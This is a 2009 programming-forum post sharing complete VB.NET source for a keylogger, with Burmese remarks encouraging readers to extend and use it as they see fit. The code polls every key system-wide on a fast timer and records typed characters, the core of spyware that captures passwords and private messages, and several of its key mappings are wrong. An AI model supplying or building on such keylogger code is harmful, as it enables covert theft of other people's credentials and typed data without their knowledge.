1 Advanced Keylogger in VB.NET [Programming] 24th April 2009, 12:56 pm
sHa92
Founder
Create a textbox and a timer (Interval = 10) then Copy/Paste
ဘယ္လုိ ဘယ္ပံု အသံုးခ်ရတယ္ဆုိတာ ေတာ့ မိမိရဲ႕ ဥာဏ္စြမ္းရိွသေလာက္ တုိးခ်ဲ႕ အသံုးခ်နိုင္ပါတယ္
အဆင္ေၿပေၿပ ကလိနုိင္ၾကပါေစ
- Code:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
Public Function getCapslock() As Boolean
On Error Resume Next
getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1)
End Function
Public Function getShift() As Boolean
On Error Resume Next
getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey))
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error Resume Next
Dim i As Object
Dim Pressed As Object
Dim LineLimit As Int32 = 69
Dim Key As Object
On Error Resume Next
Pressed = GetAsyncKeyState(13)
If Pressed = -32767 Then
Key = "[EN]"
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(8)
If Pressed = -32767 Then
Key = "[BS]"
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(32)
If Pressed = -32767 Then
Key = " "
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(186)
If Pressed = -32767 Then
If getShift() = False Then
Key = ";"
Else
Key = ":"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(187)
If Pressed = -32767 Then
If getShift() = False Then
Key = "="
Else
Key = "+"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(188)
If Pressed = -32767 Then
If getShift() = False Then
Key = ","
Else
Key = "<"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(189)
If Pressed = -32767 Then
If getShift() = False Then
Key = "-"
Else
Key = "_"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(190)
If Pressed = -32767 Then
If getShift() = False Then
Key = "."
Else
Key = ">"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(191)
If Pressed = -32767 Then
If getShift() = False Then
Key = "/"
Else
Key = "?"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(192)
If Pressed = -32767 Then
If getShift() = False Then
Key = "`"
Else
Key = "~"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(96)
If Pressed = -32767 Then
If getShift() = False Then
Key = "0"
Else
Key = ")"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(97)
If Pressed = -32767 Then
If getShift() = False Then
Key = "1"
Else
Key = "!"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(98)
If Pressed = -32767 Then
If getShift() = False Then
Key = "2"
Else
Key = "@"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(99)
If Pressed = -32767 Then
If getShift() = False Then
Key = "3"
Else
Key = "#"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(100)
If Pressed = -32767 Then
If getShift() = False Then
Key = "4"
Else
Key = "$"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(101)
If Pressed = -32767 Then
If getShift() = False Then
Key = "5"
Else
Key = "%"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(102)
If Pressed = -32767 Then
If getShift() = False Then
Key = "6"
Else
Key = "7"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(103)
If Pressed = -32767 Then
If getShift() = False Then
Key = "7"
Else
Key = "&"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(104)
If Pressed = -32767 Then
If getShift() = False Then
Key = "8"
Else
Key = "*"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(105)
If Pressed = -32767 Then
If getShift() = False Then
Key = "9"
Else
Key = "("
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(106)
If Pressed = -32767 Then
If getShift() = False Then
Key = "*"
Else
Key = ""
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(107)
If Pressed = -32767 Then
If getShift() = False Then
Key = "+"
Else
Key = "="
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(108)
If Pressed = -32767 Then
Key = ""
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(109)
If Pressed = -32767 Then
If getShift() = False Then
Key = "-"
Else
Key = "_"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(110)
If Pressed = -32767 Then
If getShift() = False Then
Key = "."
Else
Key = ">"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(111)
If Pressed = -32767 Then
Key = "/"
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(2)
If Pressed = -32767 Then
If getShift() = False Then
Key = "/"
Else
Key = "?"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(220)
If Pressed = -32767 Then
If getShift() = False Then
Key = ""
Else
Key = "|"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(222)
If Pressed = -32767 Then
If getShift() = False Then
Key = "'"
Else
Key = Chr(34)
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(221)
If Pressed = -32767 Then
If getShift() = False Then
Key = "]"
Else
Key = "}"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(219)
If Pressed = -32767 Then
If getShift() = False Then
Key = "["
Else
Key = "{"
End If
GoTo KeyFound
End If
For i = 65 To 128
Pressed = GetAsyncKeyState(i)
If Pressed = -32767 Then
If getShift() = False Then
If getCapslock() = True Then
Key = UCase(Chr(i))
Else
Key = LCase(Chr(i))
End If
Else
If getCapslock() = False Then
Key = UCase(Chr(i))
Else
Key = LCase(Chr(i))
End If
End If
GoTo KeyFound
End If
Next i
For i = 48 To 57
Pressed = GetAsyncKeyState(i)
If Pressed = -32767 Then
If getShift() = True Then
Select Case Val(Chr(i))
Case 1
Key = "!"
Case 2
Key = "@"
Case 3
Key = "#"
Case 4
Key = "$"
Case 5
Key = "%"
Case 6
Key = "^"
Case 7
Key = "&"
Case 8
Key = "*"
Case 9
Key = "("
Case 0
Key = ")"
End Select
Else
Key = Chr(i)
End If
GoTo KeyFound
End If
Next i
Exit Sub
KeyFound:
If Key <> "" Then
Textbox1.AppendText(Key)
End If
End Sub
End Class
ဘယ္လုိ ဘယ္ပံု အသံုးခ်ရတယ္ဆုိတာ ေတာ့ မိမိရဲ႕ ဥာဏ္စြမ္းရိွသေလာက္ တုိးခ်ဲ႕ အသံုးခ်နိုင္ပါတယ္
အဆင္ေၿပေၿပ ကလိနုိင္ၾကပါေစ